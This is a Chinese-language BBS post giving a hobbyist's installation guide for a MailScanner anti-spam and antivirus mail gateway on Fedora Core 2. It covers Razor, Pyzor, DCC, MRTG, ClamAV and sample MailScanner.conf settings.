試著上網先找到相關模組,安裝完,重新作一次perl Makefile.PL
一般都會在這兩個地方找得到:
www.cpan.org
www.sourceforge.org

make
make install

以下3-5相關套件不一定要裝,請視需要而定(首次安裝的話,建議跳過去)。

3. 安裝razor
(以下網路位置可能有更動,如果找不到,請到http://www.sourceforge.org/搜尋。)

先裝 razor-agents-sdk

http://voxel.dl.sourceforge.net/sourceforge/razor/razor-agents-sdk-2.03.tar.gz
http://sourceforge.net/projects/razor/

tar xzvf razor-agents-sdk-2.03.tar.gz
cd razor-agents-sdk-2.03
perl Makefile.PL
make
make install

再裝 razor-agents

http://aleron.dl.sourceforge.net/sourceforge/razor/razor-agents-2.61.tar.gz
http://sourceforge.net/projects/razor/

tar xzvf razor-agents-2.61.tar.gz
cd razor-agents-2.61

perl Makefile.PL
(如前說過,如果出現Digest::SHA1 not found,請重新安裝一次Digest::SHA1)

make
make install

接著執行razor-client

razor-client

出現以下訊息:
Creating symlink razor-client <== /usr/bin/razor-check
Creating symlink razor-client <== /usr/bin/razor-report
Creating symlink razor-client <== /usr/bin/razor-revoke
Creating symlink razor-client <== /usr/bin/razor-admin

接著輸入:
razor-admin --register -user=你的電子郵件或名稱 -pass=你的密碼
正常的話,會出現以下的訊息:
Register successful.  Identity stored in /root/.razor/identity-你的電子郵件或名稱

4. 安裝Pyzor

http://easynews.dl.sourceforge.net/sourceforge/pyzor/pyzor-0.4.0.tar.bz2
http://sourceforge.net/projects/razor/

如果不熟bzip2的解壓縮,可以到x-windows底下先解開來,再狠一點,
丟給windows底下的winrar幫你解...^_^

bzip2 -d pyzor-0.4.0.tar.bz2
tar xvf pyzor-0.4.0.tar
cd pyzor-0.4.0

python setup.py build
python setup.py install

更改權限:

chmod -R a+rX /usr/share/doc/pyzor
chmod -R a+rX /usr/lib/python2.3/site-packages/pyzor
(或chmod -R a+rX /usr/lib/python2.2/site-packages/pyzor)
chmod -R a+rX /usr/bin/pyzor /usr/bin/pyzord

5. 安裝DCC

http://www.rhyolite.com/anti-spam/dcc/source/dcc-dccd.tar.Z
http://www.rhyolite.com/anti-spam/dcc/

tar xzvf dcc-dccd.tar.Z
cd dcc-dccd-1.2.51
./configure
make
make install

6. MailScanner-mrtg

確定是否安裝mrtg:
rpm -qa | grep mrtg

如果沒有:
http://download.fedora.redhat.com/pub/fedora/linux/core/2/i386/os/Fedora/RPMS/mrtg-2.10.5-3.i386.rpm

rpm -ivh mrtg-2.10.5-3.i386.rpm

不用裝最新版的,你的Fedora光碟底下也有。

下載MailScanner-mrtg

http://unc.dl.sourceforge.net/sourceforge/mailscannermrtg/mailscanner-mrtg-0.08.01-1.noarch.rpm
http://sourceforge.net/projects/mailscannermrtg/

rpm -ivh mailscanner-mrtg-0.08.01-1.noarch.rpm

建立一個檔案夾:
mkdir /var/spool/mailscanner-mrtg

修改fstab

vi /etc/fstab
增加以下兩行(記憶體要夠多!)

none    /var/spool/MailScanner/incoming         tmpfs   defaults        0 0
none    /var/spool/mailscanner-mrtg             tmpfs   defaults        0 0

加入第一行,順便連MailScanner的處理速度都加快了!
(這是MailScanner官方文件建議的做法,不是我自己掰的喔~)

接著修改及確認/etc/MailScanner/mailscanner-mrtg.conf

MailScanner Work Directory = /var/spool/MailScanner/incoming
...
Spool Directory = /var/spool/mailscanner-mrtg
...
Quarantine Directory = /var/spool/MailScanner/quarantine
...
Use SNMP = no
snmp留給熟悉snmp的人去踹~

以後你就可以在網址列輸入:
http://your.host.ip/mailscanner-mrtg/
觀看你的郵件流量。

到Goole找找,有更詳細的設定!

目前為止,還沒將MailScaner啟動,好的,先裝防毒軟體:

7. ClamAV

http://prdownloads.sourceforge.net/clamav/clamav-0.75.1.tar.gz

tar xzvf clamav-0.75.1.tar.gz
cd clamav-0.75.1
./configure
make
make install

如果在/var/log/maillog發現update clamav失敗時,請將freshclam拷貝一份到/usr/bin
cp /usr/local/bin/freshclam /usr/bin/freshclam

如果在MailScanner裡面使用clamavmodule出現問題的話,也請將libcalmav摳一份到/usr/lib:
cp /usr/local/lib/libclam*.* /usr/lib

當然,如果你會cp link的指令,就用link就好了。

注意,在沒有指定額外的路徑時:
ClamAV的執行檔在:
/usr/local/bin:
cdcc
clamav-config
clamdscan
clamscan
dccproc
freshclam
sigtool

設定檔在:
/usr/local/etc:
clamav.conf
freshclam.conf

病毒碼在:
/usr/local/share/clamav:
daily.cvd
main.cvd

7-1 clamavmodule(加快MailScanner掃毒的效率)

安裝clamavmodule至少需要安裝這兩個套件:
http://download.fedora.redhat.com/pub/fedora/linux/core/2/i386/os/Fedora/RPMS/perl-Inline-0.44-13.i386.rpm
http://download.fedora.redhat.com/pub/fedora/linux/core/2/i386/os/Fedora/RPMS/perl-Parse-RecDescent-1.94-3.noarch.rpm

如果安裝過程出現錯誤,請先把安裝程式找不到的模組裝上,如果還是不行,
請務必很仔細的檢查發生錯誤的地方,大致上常見的問題有模組不正確(Inline比較有問題,
或ClamAV主程式安裝時就有問題),要很有耐心,因為後面還有MailWatch,如果這個裝不起來,
那MailWatch就更不用裝了,如果一次就裝起來,表示你真的真的很厲害也很幸運!

http://search.cpan.org/CPAN/authors/id/S/SA/SABECK/Mail-ClamAV-0.11.tar.gz
tar xzvf Mail-ClamAV-0.11.tar.gz
cd Mail-ClamAV-0.11
perl Makefile.PL
make
make install

小小收工一下,開始動手改/etc/MailScanner/MailScanner.conf

8. 修改/etc/MailScanner/MailScanner.conf

MailScanner的作者Julian Field是個天才,寫的東西卻很嚴謹又平易近人,
我想,設定檔內容雖然多,有時間一定要好好讀,這裡只是一些基本
的設定,幫助您的系統順利運作,不過,還是強調一點,有時間一定要好好
的將所有內容讀一遍喔!

%org-name% = 輸入你喜歡的名稱但不能有任何空白
File Command = /usr/bin/file
Virus Scanners = clamavmodule #可以先用clamav試試。
Monitors for ClamAV Updates = /usr/local/share/clamav/*.cvd
Detailed Spam Report = yes
Include Scores In SpamAssassin Report = yes
Always Include SpamAssassin Report = yes
Notify Senders = no
Notify Senders Of Viruses = no
Notify Senders Of Blocked Filenames Or Filetypes = no
Notify Senders Of Other Blocked Content = no
Scanned Modify Subject = end #每一封被掃描過的信,主旨都會加一段{Scanned}
Scanned Subject Text = {Scanned} #可以是中文
Spam Subject Text = {Spam?}#可以是中文
High Scoring Spam Subject Text = {Garbage?}#可以是中文
Spam Checks = yes
Use SpamAssassin = yes
Required SpamAssassin Score = 6
High SpamAssassin Score = 10
Spam Actions = deliver
High Scoring Spam Actions = store
SpamAssassin Site Rules Dir = /etc/mail/spamassassin
SpamAssassin Default Rules Dir = /usr/share/spamassassin
Debug SpamAssassin = yes

詳細內容請參考下列非常棒的網頁:
http://www.study-area.net/tips/v_scan1.htm
http://atm.ee.nsysu.edu.tw/~fgtseng/system/mailscanner.html
http://www.vbird.org/somepaper/20030905-mailscanner-conf.htm

ftp://ohaha.ks.edu.tw/pub/sample/MailScanner/tw.tar.gz
你可以下載ohaha所辛苦製作的中文回報檔,解壓後,將tw目錄放到:
/etc/MailScanner/reports,然後修改:

%report-dir% = /etc/MailScanner/reports/tw

好的,重新啟動MailScanner吧!隨時監控/var/log/maillog
幫助您調整系統。

MailWatch也是非常好用的工具,舉凡MailScanner下的一舉一動,
都可以藉由MailWatch結合MySQL資料庫監控。

如果需要MailWatch的安裝步驟,請寫信給我,因為我還沒寫呢~
不過,喜歡自己踹的人,可以自己拉tarball回來,邊看邊裝。

小弟技術還不純熟,說穿了就那幾招,高手看完如果覺得哪裡的指令
下得不好,請寫信告訴我,小弟感激不盡!

對了!MailScanner有Webmin的模組,有興趣的人可以裝來用:
http://lushsoft.dyndns.org/mailscanner-webmin/webmin-module-0.9.wbm
記得先備份你所有的設定檔。

fz150
fz150n67@hotmail.com
--
 * Post by fz150 from 220-141-34-239.dynamic.hinet.net
 * Origin: ★ 交通大學資訊科學系 BBS ★ <bbs.cis.nctu.edu.tw: 140.113.23.3>

頁: [1]